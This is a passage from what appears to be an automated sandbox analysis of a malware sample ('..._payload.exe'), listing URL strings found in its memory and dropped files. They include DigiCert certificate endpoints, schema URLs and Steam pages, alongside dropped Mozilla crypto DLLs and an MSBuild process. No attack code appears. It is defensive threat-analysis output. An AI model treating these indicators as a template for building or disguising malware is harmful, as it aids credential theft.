Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896738110.00000000032AF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1994902601.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896695804.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896738110.00000000032AF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1994902601.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1994902601.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896695804.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1994902601.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896695804.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896738110.00000000032AF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1994902601.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896738110.00000000032AF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1994902601.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896695804.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896738110.00000000032AF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1994902601.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896695804.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896738110.00000000032AF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896738110.00000000032AF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1994902601.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896695804.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: EHDHIDAEHC.exe, 00000004.00000002.2094707680.0000000003EEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/DInvalidGlobalDataContractNamespace
Source: EHDHIDAEHC.exe, 00000004.00000000.2083490533.0000000000602000.00000002.00000001.01000000.00000009.sdmp, mine[1].exe.0.dr, EHDHIDAEHC.exe.0.dr	String found in binary or memory: http://schemas.datacontract.org/2004/07/System
Source: EHDHIDAEHC.exe, 00000004.00000002.2094707680.0000000003EEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/System.Xml
Source: EHDHIDAEHC.exe, 00000004.00000002.2094707680.0000000003EEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/System.Xml.Linq
Source: EHDHIDAEHC.exe, 00000004.00000000.2083490533.0000000000602000.00000002.00000001.01000000.00000009.sdmp, mine[1].exe.0.dr, EHDHIDAEHC.exe.0.dr	String found in binary or memory: http://schemas.datacontract.org/2004/07/dhttp://schemas.datacontract.org/2004/07/System.XmlRhttp://w
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agr
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, 